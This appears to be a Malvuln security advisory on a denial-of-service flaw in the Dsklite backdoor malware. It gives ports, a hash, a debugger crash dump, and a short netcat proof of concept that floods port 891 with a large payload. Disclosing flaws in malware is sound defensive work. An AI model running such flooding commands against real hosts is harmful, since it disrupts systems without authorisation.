Backdoor.Win32.Dsklite.a / Remote Denial of Service

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Dsklite.a Vulnerability: Remote Denial of Service Description: The malware listens on TCP ports 890, 891. Third-party attackers who can reach an infected system can connect to port 890, this will in turn open the vuln port 891. Attackers can then send a large payload to DOS the backdoor malware. Type: PE32 MD5: 6c9665de78ae60a8e057d2c9cdb91596 Vuln ID: MVID-2022-0444 Dropped files: winlogon.exe Disclosure: 01/05/2022 Memory Dump: (1628.10d4): Unknown exception - code c000008f (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=00000003 edi=00000003 eip=773ced3c esp=0019f238 ebp=0019f3c8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> .ecxr eax=0019fb38 ebx=00412a90 ecx=00000002 edx=00000000 esi=0019fc1c edi=02549f28 eip=767508f2 esp=0019fb38 ebp=0019fb94 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 767508f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fb8c=6b57a7b6 *** ERROR: Symbol file could not be found. Defaulted to export symbols for msvbvm60.dll - 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** ERROR: Module load completed but symbols could not be loaded for winlogon.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: KERNELBASE!RaiseException+62 767508f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 767508f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: c000008f ExceptionFlags: 00000001 NumberParameters: 2 Parameter[0]: deadcafe Parameter[1]: deadcafe PROCESS_NAME: winlogon.exe ERROR_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result. EXCEPTION_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result. EXCEPTION_PARAMETER1: deadcafe EXCEPTION_PARAMETER2: deadcafe MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000010d4 DEFAULT_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT PRIMARY_PROBLEM_CLASS: STATUS_FLOAT_INEXACT_RESULT BUGCHECK_STR: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT LAST_CONTROL_TRANSFER: from 660d0dcf to 767508f2 STACK_TEXT: 0019fb94 660d0dcf c000008f 00000001 00000002 KERNELBASE!RaiseException+0x62 WARNING: Stack unwind information not available. Following frames may be wrong. 0019fbb4 66101d44 00000000 00000000 00000002 msvbvm60!EbGetHandleOfExecutingProject+0x22b3 0019fca0 764ee0bb 00419054 016106bc 0000c280 msvbvm60!ProcCallEngine+0x4ce7 0019fcd0 764f8849 004043b4 016106bc 0000c280 user32!_InternalCallWinProc+0x2b 0019fcf4 764fb145 0000c280 000002e4 00000001 user32!InternalCallWinProc+0x20 0019fdc4 764e90dc 004043b4 00000000 0000c280 user32!UserCallWinProcCheckWow+0x1be 0019fe30 764e38c0 0019fe78 6600a6c8 0019fe50 user32!DispatchMessageWorker+0x4ac 0019fe38 6600a6c8 0019fe50 ffffffff 04071e54 user32!DispatchMessageA+0x10 0019fe78 6600a63f ffffffff 04071e7c 04070000 msvbvm60!_vbaStrToAnsi+0x2f1 0019febc 6600a51d 04071f4c ffffffff 00001628 msvbvm60!_vbaStrToAnsi+0x268 0019fed8 6600a4e8 04071e78 04071f4c ffffffff msvbvm60!_vbaStrToAnsi+0x146 0019fefc 66003644 ffffffff 00401224 00401224 msvbvm60!_vbaStrToAnsi+0x111 003b6000 ffffffff 00400000 77477be0 02541878 msvbvm60!ThunRTMain+0xa0 00000000 00000000 00000000 00000000 00000000 0xffffffff FOLLOWUP_IP: user32!_InternalCallWinProc+2b 764ee0bb 648025ca0f0000fe and byte ptr fs:[0FCAh],0FEh SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: user32!_InternalCallWinProc+2b FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT_c000008f_user32.dll!_InternalCallWinProc BUCKET_ID: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT_user32!_InternalCallWinProc+2b Exploit/PoC: 1) connect to port 890 to open vuln port 891 nc64.exe x.x.x.x 890 2) send large packet to trigger DOS python -c "print('A'*2000)" | nc64.exe x.x.x.x 891 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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